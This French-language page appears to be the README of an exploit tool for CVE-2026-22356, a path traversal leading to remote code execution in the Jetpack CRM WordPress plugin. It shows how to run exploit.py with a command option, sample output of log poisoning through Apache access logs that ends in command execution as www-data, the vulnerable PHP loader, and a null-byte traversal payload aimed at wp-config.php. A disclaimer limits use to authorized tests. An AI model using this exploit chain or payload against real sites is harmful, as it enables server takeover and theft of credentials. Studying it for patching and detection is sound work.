
CVE-2026-22356 : Vulnérabilité de traversée de chemin et RCE dans Jetpack CRM
Avertissement : Cet outil ne doit être utilisé que dans des environnements de test autorisés. L'utilisateur est entièrement responsable de toute utilisation illégale.
pip3 install requests urllib3
$ python3 exploit.py https://example.com --rce --cmd "id"
[+] Target is VULNERABLE to LFI!
[*] Attempting Log Poisoning for RCE...
[*] Searching for accessible log files...
[*] Trying: ../../../../var/log/apache2/access.log
[+] Found accessible log file: ../../../../var/log/apache2/access.log
[*] Poisoning log file: ../../../../var/log/apache2/access.log
[+] Payload injected into log file.
[*] Executing command: id
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
function jpcrm_load_admin_page( $page_name, $alt_path = ZEROBSCRM_PATH ) {
$target_file = $alt_path . "admin/$page_name.page.php";
if ( file_exists( $target_file ) ) {
require_once $target_file;
}
}
Dans ce code, $page_name étant utilisé directement sans aucune validation, un attaquant peut envoyer page=../../../wp-config.php%00 pour déclencher l'appel require_once("admin/../../../wp-config.php%00.page.php"). Lorsque PHP interprète le null byte comme la fin du nom de fichier, le fichier wp-config.php est exécuté.
Dans la version 6.7.1, ce code a été corrigé en ajoutant des contrôles realpath() et strpos().
Ce document a été préparé pour vous aider à comprendre la vulnérabilité CVE-2026-22356 et à l'utiliser dans le cadre de vos tests autorisés. Toute utilisation illégale relève entièrement de la responsabilité de l'utilisateur.